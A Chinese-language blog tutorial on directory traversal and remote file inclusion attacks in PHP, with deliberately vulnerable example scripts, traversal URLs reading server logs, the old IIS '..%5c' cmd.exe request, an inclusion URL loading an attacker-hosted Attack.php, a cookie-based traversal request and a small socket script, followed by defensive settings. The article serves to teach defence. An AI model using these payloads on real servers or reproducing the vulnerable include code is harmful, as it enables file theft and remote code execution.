zoukankan      html  css  js  c++  java
  • 目录/文件攻击防范策略研究

    目录
    0x1:目录穿越攻击
    0x2:远程文件引入攻击
    0x3:防范的方法


    目录穿越攻击

    目录穿越(Directory Traversal)攻击是黑客能够在Web应用程序所在的根目录以外的文件夹上,任意地存取被限制的文件夹、执行命令或查找数据。目录穿越攻击,也有人称为Path

    Traversal攻击。

    为了避免使用者存取到服务器上未经许可的文件,服务器提供两个安全机制:
    (1)根目录
    (2)文件存取权限

    这些安全措施是为了避免黑客执行可执行文件,如Windows系统上的cmd.exe文件,以及避免黑客存取重要的文件,如UNIX系统上的passwd密码文件。

    但是黑客可以使用目录穿越攻击,来查找、执行或存取Web应用程序所在的根目录以外的文件夹。如果目录穿越攻击成功,黑客就可以执行破坏性的命令来攻击网站。

    目录穿越攻击可能发生在Web应用程序上,也可能发生在Web服务器上。在Web应用程序上发生的目录穿越攻击,是因为Web应用程序要求使用者输入文件名。例如将使用者的账号作为保存文件

    的名称,当使用者输入账号后,程序会立即查找并打开指定用户名为文件名的文件。

    例如:openfile.php
    <?php
    if(isset($_GET["file"]))
    {
    @readfile("home/users/".$_GET["file"]);
    }
    ?>

    openfile.php文件会读取一个文件名称,这个文件名称由URL参数fie所提供。readfile函数会输出文件的内容,@操作符用来屏蔽错误信息。

    将这个文件名称与目录字符串"home/users"进行结合后,就是在Web应用程序所在的根目录下的文件路径。

    Web应用程序所在的根目录是:
    C:AppServwww

    假设使用者输入的文件名称是data.txt,那么data.txt文件的完整路径是:
    C:AppServwwwhomeusersdata.txt

    data.txt内容:目录穿越攻击(Directory Traversal Attack)

    现在在浏览器的地址栏中输入下列地址:
    http://localhost/openfile.php?file=data.txt

    浏览器显示结果如下:
    目录穿越攻击(Directory Traversal Attack)


    目录穿越攻击实例:
    刚才是正常的输入文件名称,现在要开始执行目录穿越攻击。在浏览器的地址栏输入下列地址:
    http://localhost/openfile.php?file=../../Apache2.2/logs/access.log

    此时,文件访问路径就变成了:C:AppServApache2.2logsaccess.log

    这表明要打开Apache服务器内的日志文件access.log!服务器日志文件access.log应该是只能让网站管理员查看,但是黑客利用目录穿越攻击,就能够随便地打开、查看,甚至执行网站内的绝密文件。

    再来看一个例子:
    Microsoft的IIS服务器在4.0/5.0版本的时候曾经发生目录穿越攻击,在浏览器的地址栏中输入下面的地址:
    http://localhost/scripts/..%5c../Windows/System32/cmd.exe?/c+dir+c:
    执行Windows的cmd.exe文件,cmd.exe是Windows的命令行程序(cmdshell)。输入这个地址后,会执行"dir c:"命令来列出C:目录中的所有文件。

    在这个地址中,"%5c"是""字符的URL编码。IIS4.0/5.0没有将地址中特殊字符进行处理就直接显示,因此才会发生目录穿越攻击。


    远程文件引入攻击(也叫远程文件调用(Remote Inclusion))

    如果将php.ini文件中的allow_url_fopen设置为On,就可以将远程文件的URL当做是本机的文件来处理。并且可以将远程文件的URL发送给readfile,fopen等函数来处理。

    要加载文件时,使用include函数:
    include File_URL


    远程文件引入攻击实例:

    例如:include.php
    <?php
    if(isset($_GET["file"]))
    {
    @include($_GET["file"]);
    readfile($_GET["file"]);
    }
    ?>

    include.php文件会读取一个文件名称,这个文件名称由URL参数file所提供。include语句会引入URL参数file所提供的文件名称,readfile函数会输出文件的内容,@用来屏蔽错误信息。

    例如:beinclude.php
    <?php
    echo "hello milantgh";
    ?>

    我们在浏览器输入:
    http://localhost/include.php?file=http://localhost/beinclude.php

    浏览器则显示:
    hello milantgh

    黑客要执行远程文件引入攻击时,他会在自己的网站www.milantgh.com内建立具有攻击性的PHP文件Attack.php,然后使用:
    http://localhost/include.php?file=http://www.milantgh.com/Attack.php
    此时,目标网站就会加载黑客的Attack.php文件并执行Attack.php文件


    远程文件引入攻击与目录穿越攻击结合:

    例如:com1.php
    <?php
    if(isset($_GET["file"]))
    {
    @include("home/users/".$_GET["file"]);
    }
    ?>

    这是将远程文件调用攻击与目录穿越攻击结合来进行攻击的代码。
    远程文件调用攻击手法是:
    @include("home/users/".$_GET["file"]);
    而目录穿越攻击所用手法是:
    http://localhost/com1.php?file=../../Apache2.2/logs/access.log

    二者结合来进行攻击,更能产生强大的破坏力。


    远程文件引入攻击与HTTP响应拆分攻击结合:

    例如:com2.php
    <?php
    $menufile="menu.php";
    if(isset($_COOKIE["MENUFILE"]))
    {
    $menufile=$_COOKIE["MENUFILE"];
    }
    @include("home/users/".$menufile);
    ?>

    com2.php文件原本的作用是要调用menu.php文件,但是如果设置cookie变量$_COOKIE["MENUFILE"]的话,就引入$_COOKIE["MENUFILE"]变量所指的文件。

    黑客可以利用com2.php文件读取cookie变量$_COOKIE["MENUFILE"]的值,在HTTP请求中加入Cookie表头来设置$_COOKIE["MENUFILE"]的值。

    HTTP请求
    GET /com2.php HTTP/1.1
    Cookie:MENUFILE=../../Apache2.2/logs/access.log
    Host:localhost

    由于$_COOKIE["MENUFILE"]的值被这个HTTP请求设置为:
    Cookie:MENUFILE=../../Apache2.2/logs/access.log

    因此,com2.php文件读取的不再是menu.php文件内容,而是Apache服务器的access.log文件的内容。

    也可以不使用Windows的Telnet程序,而改用hack.php文件来提交HTTP请求:
    hack.php文件如下:
    <?php
    //打开Internet Socket连接
    $fp=fsockopen("localhost", 80);
    //写入HTTP请求的表头
    fputs($fp, "GET /com2.php HTTP/1.1 ");
    fputs($fp, "Cookie:MENUFILE=../../Apache2.2/logs/access.log ");
    fputs($fp, "Host:localhost ");

    //HTTP响应的字符串
    $http_response="";

    while(!feof($fp))
    {
    //读取128个字节的HTTP响应字符串
    $http_response=fgets($fp, 128);
    }

    //关闭Internet Socket连接
    fclose($fp);

    //显示HTTP响应字符串
    echo nl2br(htmlentities($http_response));
    ?>


    防范的方法

    要防范目录穿越与远程文件调用攻击,可以使用下列方法:
    (1)不要使用使用者提供的文件名
    (2)检查使用者输入的文件名中是否有".."的目录级层的字符
    (3)php.ini文件中设置open_basedir来指定可以打开文件的目录
    (4)php.ini文件中设置allow_url_fopen为Off,来让Web应用程序不能打开远程文件
    (5)realpath与basename函数来处理使用者输入的文件名

  • 相关阅读:
    手机抓包方法
    IBM appscan 9.0破解版分享
    C#打开新页面
    双城记
    卸载趋势
    测试环境搭建
    C#常用函数→ASP.NET篇
    C#常用函数--通用篇
    读>>>>白帽子讲Web安全<<<<摘要→我推荐的一本书→1
    TCP/IP网络编程技术基础
  • 原文地址:https://www.cnblogs.com/milantgh/p/3756726.html
Copyright © 2011-2022 走看看